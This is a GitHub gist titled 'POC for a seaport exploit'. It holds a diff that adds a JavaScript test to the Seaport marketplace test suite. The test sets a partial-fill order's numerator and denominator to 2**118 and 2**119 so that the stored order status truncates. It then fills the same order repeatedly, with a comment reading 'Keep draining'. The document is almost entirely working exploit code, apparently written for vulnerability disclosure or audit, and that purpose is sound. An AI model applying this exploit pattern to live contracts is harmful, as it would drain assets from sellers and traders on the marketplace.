-
-
Save hrkrshnn/7c51b23f7c43c55ba0f8157c3b298409 to your computer and use it in GitHub Desktop.
POC for a seaport exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
modified test/index.js | |
@@ -5951,6 +5951,158 @@ describe(`Consideration (version: ${VERSION}) — initial test suite`, function | |
}); | |
describe("Partial fills", async () => { | |
+ // Based on: "Partial fills (standard)" | |
+ it("Malicious partial fill", async() => { | |
+ const { nftId, amount } = await mintAndApprove1155( | |
+ seller, | |
+ marketplaceContract.address, | |
+ 1000 | |
+ ); | |
+ const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))]; | |
+ | |
+ console.log({offer: offer}); | |
+ | |
+ const consideration = [ | |
+ getItemETH(amount.mul(1000), amount.mul(1000), seller.address), | |
+ getItemETH(amount.mul(10), amount.mul(10), zone.address), | |
+ getItemETH(amount.mul(20), amount.mul(20), owner.address), | |
+ ]; | |
+ console.log({consideration: consideration}); | |
+ | |
+ const { order, orderHash, value } = await createOrder( | |
+ seller, | |
+ zone, | |
+ offer, | |
+ consideration, | |
+ 1 // PARTIAL_OPEN | |
+ ); | |
+ console.log({ | |
+ nftId: nftId, | |
+ amount: amount, | |
+ sellerAddress: seller.address, | |
+ zoneAddress: zone.address, | |
+ ownerAddress: owner.address | |
+ }); | |
+ | |
+ let orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
+ console.log({orderStatus: orderStatus}); | |
+ | |
+ expect({ ...orderStatus }).to.deep.equal( | |
+ buildOrderStatus(false, false, 0, 0) | |
+ ); | |
+ | |
+ // Malicious fill instead of 1 / 2 | |
+ // numerator = 2**118 | |
+ order.numerator = toBN("332306998946228968225951765070086144"); | |
+ // denominator = 2**119 | |
+ order.denominator = toBN("664613997892457936451903530140172288"); | |
+ | |
+ await withBalanceChecks([order], 0, [], async () => { | |
+ const tx = marketplaceContract | |
+ .connect(buyer) | |
+ .fulfillAdvancedOrder(order, [], toKey(false), { | |
+ value, | |
+ }); | |
+ const receipt = await (await tx).wait(); | |
+ await checkExpectedEvents( | |
+ tx, | |
+ receipt, | |
+ [ | |
+ { | |
+ order, | |
+ orderHash, | |
+ fulfiller: buyer.address, | |
+ fulfillerConduitKey: toKey(false), | |
+ }, | |
+ ], | |
+ null, | |
+ [] | |
+ ); | |
+ | |
+ return receipt; | |
+ }); | |
+ | |
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
+ | |
+ console.log({orderStatus: orderStatus}); | |
+ expect({ ...orderStatus }).to.deep.equal( | |
+ buildOrderStatus(true, false, order.numerator, order.denominator) | |
+ ); | |
+ | |
+ // Malicious fill: fill 1 / 10 | |
+ order.numerator = toBN("1"); | |
+ order.denominator = toBN("10"); | |
+ | |
+ await withBalanceChecks([order], 0, [], async () => { | |
+ const tx = marketplaceContract | |
+ .connect(buyer) | |
+ .fulfillAdvancedOrder(order, [], toKey(false), { | |
+ value, | |
+ }); | |
+ const receipt = await (await tx).wait(); | |
+ await checkExpectedEvents( | |
+ tx, | |
+ receipt, | |
+ [ | |
+ { | |
+ order, | |
+ orderHash, | |
+ fulfiller: buyer.address, | |
+ fulfillerConduitKey: toKey(false), | |
+ }, | |
+ ], | |
+ null, | |
+ [] | |
+ ); | |
+ | |
+ return receipt; | |
+ }); | |
+ | |
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
+ console.log({orderStatus: orderStatus}); | |
+ | |
+ // NOTE: Truncate the status to numerator = 0, denominator = 0 | |
+ expect({ ...orderStatus }).to.deep.equal( | |
+ buildOrderStatus(true, false, 0, 0) | |
+ ); | |
+ | |
+ // Keep draining | |
+ order.numerator = toBN("10"); | |
+ order.denominator = toBN("10"); | |
+ | |
+ await withBalanceChecks([order], 0, [], async () => { | |
+ const tx = marketplaceContract | |
+ .connect(buyer) | |
+ .fulfillAdvancedOrder(order, [], toKey(false), { | |
+ value, | |
+ }); | |
+ const receipt = await (await tx).wait(); | |
+ await checkExpectedEvents( | |
+ tx, | |
+ receipt, | |
+ [ | |
+ { | |
+ order, | |
+ orderHash, | |
+ fulfiller: buyer.address, | |
+ fulfillerConduitKey: toKey(false), | |
+ }, | |
+ ], | |
+ null, | |
+ [] | |
+ ); | |
+ | |
+ return receipt; | |
+ }); | |
+ | |
+ orderStatus = await marketplaceContract.getOrderStatus(orderHash); | |
+ console.log({orderStatus: orderStatus}); | |
+ | |
+ expect({ ...orderStatus }).to.deep.equal( | |
+ buildOrderStatus(true, false, 10, 10) | |
+ ); | |
+ }); | |
+ |
Author
hrkrshnn
commented
Jun 1, 2022
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment